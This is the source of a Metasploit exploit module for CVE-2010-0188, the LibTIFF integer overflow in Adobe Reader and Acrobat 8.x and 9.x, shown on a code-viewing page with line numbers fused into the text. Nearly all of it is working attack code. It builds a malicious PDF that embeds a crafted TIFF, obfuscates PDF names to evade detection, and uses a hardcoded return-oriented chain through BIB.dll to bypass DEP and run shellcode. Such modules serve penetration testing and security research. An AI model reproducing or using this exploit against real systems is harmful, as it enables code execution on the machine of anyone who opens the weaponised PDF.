Path: blob/master/modules/exploits/windows/fileformat/adobe_libtiff.rb
19591 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe Acrobat Bundled LibTIFF Integer Overflow',17'Description' => %q{18This module exploits an integer overflow vulnerability in Adobe Reader and Adobe Acrobat19Professional versions 8.0 through 8.2 and 9.0 through 9.3.20},21'License' => MSF_LICENSE,22'Author' => [23'Microsoft', # reported to Adobe24'villy <villys777[at]gmail.com>', # public exploit25# Metasploit version by:26'jduck'27],28'References' => [29[ 'CVE', '2010-0188' ],30[ 'BID', '38195' ],31[ 'OSVDB', '62526' ],32[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-07.html' ],33[ 'URL', 'http://web.archive.org/web/20100223002318/http://secunia.com:80/blog/76' ],34[ 'URL', 'http://bugix-security.blogspot.com/2010/03/adobe-pdf-libtiff-working-exploitcve.html' ]35],36'DefaultOptions' => {37'EXITFUNC' => 'process',38'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',39'DisablePayloadHandler' => true40},41'Payload' => {42'Space' => 1024,43'BadChars' => "\x00",44'DisableNops' => true45},46'Platform' => 'win',47'Targets' => [48# test results (on Windows XP SP3)49# reader 6.0.1 - untested50# reader 7.0.5 - untested51# reader 7.0.8 - untested52# reader 7.0.9 - untested53# reader 7.1.0 - untested54# reader 7.1.1 - untested55# reader 8.0.0 - untested56# reader 8.1.1 - untested57# reader 8.1.2 - untested58# reader 8.1.3 - untested59# reader 8.1.4 - untested60# reader 8.1.5 - untested61# reader 8.1.6 - untested62# reader 8.2.0 - untested63# reader 9.0.0 - untested64# reader 9.1.0 - untested65# reader 9.2.0 - untested66# reader 9.3.0 - works67[68'Adobe Reader 9.3.0 on Windows XP SP3 English (w/DEP bypass)',69{70# ew, hardcoded offsets - see make_tiff()71}72],73],74'DisclosureDate' => '2010-02-16',75'DefaultTarget' => 0,76'Notes' => {77'Reliability' => UNKNOWN_RELIABILITY,78'Stability' => UNKNOWN_STABILITY,79'SideEffects' => UNKNOWN_SIDE_EFFECTS80}81)82)8384register_options(85[86OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),87]88)89end9091def exploit92tiff_data = make_tiff(payload.encoded)93xml_data = make_xml(tiff_data)94compressed = Zlib::Deflate.deflate(xml_data)9596# Create the pdf97pdf = make_pdf(compressed)9899print_status("Creating '#{datastore['FILENAME']}' file...")100101file_create(pdf)102end103104def random_non_ascii_string(count)105result = ""106count.times do107result << (rand(128) + 128).chr108end109result110end111112def io_def(id)113"%d 0 obj\r\n" % id114end115116def io_ref(id)117"%d 0 R" % id118end119120# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/121def n_obfu(str)122result = ""123str.scan(/./u) do |c|124if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'125result << "#%x" % c.unpack("C*")[0]126else127result << c128end129end130result131end132133def ascii_hex_whitespace_encode(str)134result = ""135whitespace = ""136str.each_byte do |b|137result << whitespace << "%02x" % b138whitespace = " " * (rand(3) + 1)139end140result << ">"141end142143def make_pdf(xml_data)144xref = []145eol = "\x0d\x0a"146endobj = "endobj" << eol147148pdf = "%PDF-1.5" << eol149pdf << "%" << random_non_ascii_string(4) << eol150151xref << pdf.length152pdf << io_def(1) << n_obfu("<</Filter/FlateDecode/Length ") << xml_data.length.to_s << n_obfu("/Type /EmbeddedFile>>") << eol153pdf << "stream" << eol154pdf << xml_data << eol155pdf << eol << "endstream" << eol156pdf << endobj157158xref << pdf.length159pdf << io_def(2) << n_obfu("<</V () /Kids [") << io_ref(3) << n_obfu("] /T (") << "topmostSubform[0]" << n_obfu(") >>") << eol << endobj160161xref << pdf.length162pdf << io_def(3) << n_obfu("<</Parent ") << io_ref(2) << n_obfu(" /Kids [") << io_ref(4) << n_obfu("] /T (") << "Page1[0]" << n_obfu(")>>")163pdf << eol << endobj164165xref << pdf.length166pdf << io_def(4) << n_obfu("<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P ") << io_ref(5)167pdf << n_obfu("/FT /Btn/TU (") << "ImageField1" << n_obfu(")/Ff 65536/Parent ") << io_ref(3)168pdf << n_obfu("/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (") << "ImageField1[0]" << n_obfu(")/Rect [107.385 705.147 188.385 709.087]>>")169pdf << eol << endobj170171xref << pdf.length172pdf << io_def(5) << n_obfu("<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent ")173pdf << io_ref(6) << n_obfu("/Type /Page/PieceInfo null>>")174pdf << eol << endobj175176xref << pdf.length177pdf << io_def(6) << n_obfu("<</Kids [") << io_ref(5) << n_obfu("]/Type /Pages/Count 1>>")178pdf << eol << endobj179180xref << pdf.length181pdf << io_def(7) << ("<</PageMode /UseAttachments/Pages ") << io_ref(6)182pdf << ("/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm ") << io_ref(8)183pdf << ("/Type /Catalog>>")184pdf << eol << endobj185186xref << pdf.length187pdf << io_def(8) << n_obfu("<</DA (/Helv 0 Tf 0 g )/XFA [(template) ") << io_ref(1) << n_obfu("]/Fields [")188pdf << io_ref(2) << n_obfu("]>>")189pdf << endobj << eol190191xrefPosition = pdf.length192pdf << "xref" << eol193pdf << "0 %d" % (xref.length + 1) << eol194pdf << "0000000000 65535 f" << eol195xref.each do |index|196pdf << "%010d 00000 n" % index << eol197end198pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(7) << ">>" << eol199pdf << "startxref" << eol200pdf << xrefPosition.to_s() << eol201pdf << "%%EOF"202end203204def make_tiff(code)205tiff_offset = 0x2038206shellcode_offset = 1500207208tiff = "II*\x00"209tiff << [tiff_offset].pack('V')210tiff << make_nops(shellcode_offset)211tiff << code212213# Padding214tiff << rand_text_alphanumeric(tiff_offset - 8 - code.length - shellcode_offset)215216tiff << "\x07\x00\x00\x01\x03\x00\x01\x00"217tiff << "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"218tiff << "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"219tiff << "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"220tiff << "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"221tiff << "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"222tiff << "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00"223224# The following executes a ret2lib using BIB.dll225# The effect is to bypass DEP and execute the shellcode in an indirect way226stack_data = [2270x70072f7, # pop eax / ret2280x10104,2290x70015bb, # pop ecx / ret2300x1000,2310x700154d, # mov [eax], ecx / ret2320x70015bb, # pop ecx / ret2330x7ffe0300, # -- location of KiFastSystemCall2340x7007fb2, # mov eax, [ecx] / ret2350x70015bb, # pop ecx / ret2360x10011,2370x700a8ac, # mov [ecx], eax / xor eax,eax / ret2380x70015bb, # pop ecx / ret2390x10100,2400x700a8ac, # mov [ecx], eax / xor eax,eax / ret2410x70072f7, # pop eax / ret2420x10011,2430x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)2440x7005c54, # pop esi / add esp,0x14 / ret2450xffffffff,2460x10100,2470x0,2480x10104,2490x1000,2500x40,251# The next bit effectively copies data from the interleaved stack to the memory252# pointed to by eax253# The data copied is:254# \x5a\x52\x6a\x02\x58\xcd\x2e\x3c\xf4\x74\x5a\x05\xb8\x49\x49\x2a255# \x00\x8b\xfa\xaf\x75\xea\x87\xfe\xeb\x0a\x5f\xb9\xe0\x03\x00\x00256# \xf3\xa5\xeb\x09\xe8\xf1\xff\xff\xff\x90\x90\x90\xff\xff\xff\x902570x700d731, # mov eax, [ebp-0x24] / ret2580x70015bb, # pop ecx / ret2590x26a525a,2600x700154d, # mov [eax], ecx / ret2610x700a722, # add eax, 4 / ret2620x70015bb, # pop ecx / ret2630x3c2ecd58,2640x700154d, # mov [eax], ecx / ret2650x700a722, # add eax, 4 / ret2660x70015bb, # pop ecx / ret2670xf4745a05,2680x700154d, # mov [eax], ecx / ret2690x700a722, # add eax, 4 / ret2700x70015bb, # pop ecx / ret2710x2a4949b8,2720x700154d, # mov [eax], ecx / ret2730x700a722, # add eax, 4 / ret2740x70015bb, # pop ecx / ret2750xaffa8b00,2760x700154d, # mov [eax], ecx / ret2770x700a722, # add eax, 4 / ret2780x70015bb, # pop ecx / ret2790xfe87ea75,2800x700154d, # mov [eax], ecx / ret2810x700a722, # add eax, 4 / ret2820x70015bb, # pop ecx / ret2830xb95f0aeb,2840x700154d, # mov [eax], ecx / ret2850x700a722, # add eax, 4 / ret2860x70015bb, # pop ecx / ret2870x3e0,2880x700154d, # mov [eax], ecx / ret2890x700a722, # add eax, 4 / ret2900x70015bb, # pop ecx / ret2910x9eba5f3,2920x700154d, # mov [eax], ecx / ret2930x700a722, # add eax, 4 / ret2940x70015bb, # pop ecx / ret2950xfffff1e8,2960x700154d, # mov [eax], ecx / ret2970x700a722, # add eax, 4 / ret2980x70015bb, # pop ecx / ret2990x909090ff,3000x700154d, # mov [eax], ecx / ret3010x700a722, # add eax, 4 / ret3020x70015bb, # pop ecx / ret3030x90ffffff,3040x700154d, # mov [eax], ecx / ret3050x700d731, # mov eax, [ebp-0x24] / ret3060x700112f # call eax -- (execute stub to transition to full shellcode)307].pack('V*')308309tiff << stack_data310311Rex::Text.encode_base64(tiff)312end313314def make_xml(tiff_data)315xml_data = <<~EOS316<?xml version="1.0" encoding="UTF-8" ?>317<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">318<config xmlns="http://www.xfa.org/schema/xci/1.0/">319<present>320<pdf>321<version>1.65</version>322<interactive>1</interactive>323<linearized>1</linearized>324</pdf>325<xdp>326<packets>*</packets>327</xdp>328<destination>pdf</destination>329</present>330</config>331<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">332<subform name="topmostSubform" layout="tb" locale="en_US">333<pageSet>334<pageArea id="PageArea1" name="PageArea1">335<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />336<medium short="612pt" long="792pt" stock="custom" />337</pageArea>338</pageSet>339<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">340<break before="pageArea" beforeTarget="#PageArea1" />341<bind match="none" />342<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">343<ui>344<imageEdit />345</ui>346</field>347<?templateDesigner expand 1?>348</subform>349<?templateDesigner expand 1?>350</subform>351<?templateDesigner FormTargetVersion 24?>352<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>353<?templateDesigner Zoom 94?>354</template>355<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">356<xfa:data>357<topmostSubform>358<ImageField1 xfa:contentType="image/tif" href="">REPLACE_TIFF</ImageField1>359</topmostSubform>360</xfa:data>361</xfa:datasets>362<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />363<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">364<subform name="topmostSubform">365<instanceManager name="_Page1" />366<subform name="Page1">367<field name="ImageField1" />368</subform>369<pageSet>370<pageArea name="PageArea1" />371</pageSet>372</subform>373</form>374</xdp:xdp>375EOS376xml_data.gsub!(/REPLACE_TIFF/, tiff_data)377378xml_data379end380end381382383